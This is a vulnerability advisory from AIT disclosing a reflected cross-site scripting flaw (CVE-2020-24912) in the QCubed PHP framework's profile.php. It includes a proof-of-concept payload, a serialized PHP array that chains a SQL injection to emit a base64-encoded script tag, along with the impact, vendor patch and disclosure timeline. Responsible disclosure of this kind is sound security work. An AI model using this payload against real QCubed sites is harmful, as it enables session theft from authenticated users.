QCubed: Cross Site Scripting
Identifier: AIT-SA-20210215-03
Target: QCubed Framework
Vendor: QCubed
Version: all versions including 3.1.1
CVE: CVE-2020-24912
Accessibility: Remote
Severity: High
Author: Wolfgang Hotwagner (AIT Austrian Institute of Technology)
Summary
QCubed is a PHP Model-View-Controller Rappid Application Development framework.
Vulnerability Description
A reflected cross-site scripting (XSS) vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.
Proof Of Concept
The XSS occurs because the SQL-output is not sanitized properly. Since we are able to tamper the output using a SQL-injection(CVE-2020-24913), we can easily output a common XSS string.
We use the following payload(unencoded):
| a:1:{i:0;a:3:{s:12:"objBacktrace";a:1:{s:4:"args";a:1:{i:0;s:3:"PWN";}}s:8:"strQuery";s:112:"select version(); select convert_from(decode($$PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K$$,$$base64$$),$$utf-8$$)";s:11:"dblTimeInfo";s:1:"1";}} |
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K is unencoded:
| “<script>alert(‘xss’)</script>” |
The following Burp-Screenshot illustrated a http-request using the payload from above:
The response indicates that the payload worked properly:
Vulnerable Versions
All versions including 3.1.1 are affected.
Tested Versions
QCubed 3.1.1
Impact
An unauthenticated attacker could steal sessions of authenticated users.
Mitigation
A patch was delivered by QCubed that allows to disable the profile-functionality.
Vendor Contact Timeline
| 2020-04-19 | Contacting the vendor |
| 2020-04-19 | Vendor replied |
| 2020-05-01 | Vendor released a patch at Github |
| 2021-02-15 | Public disclosure |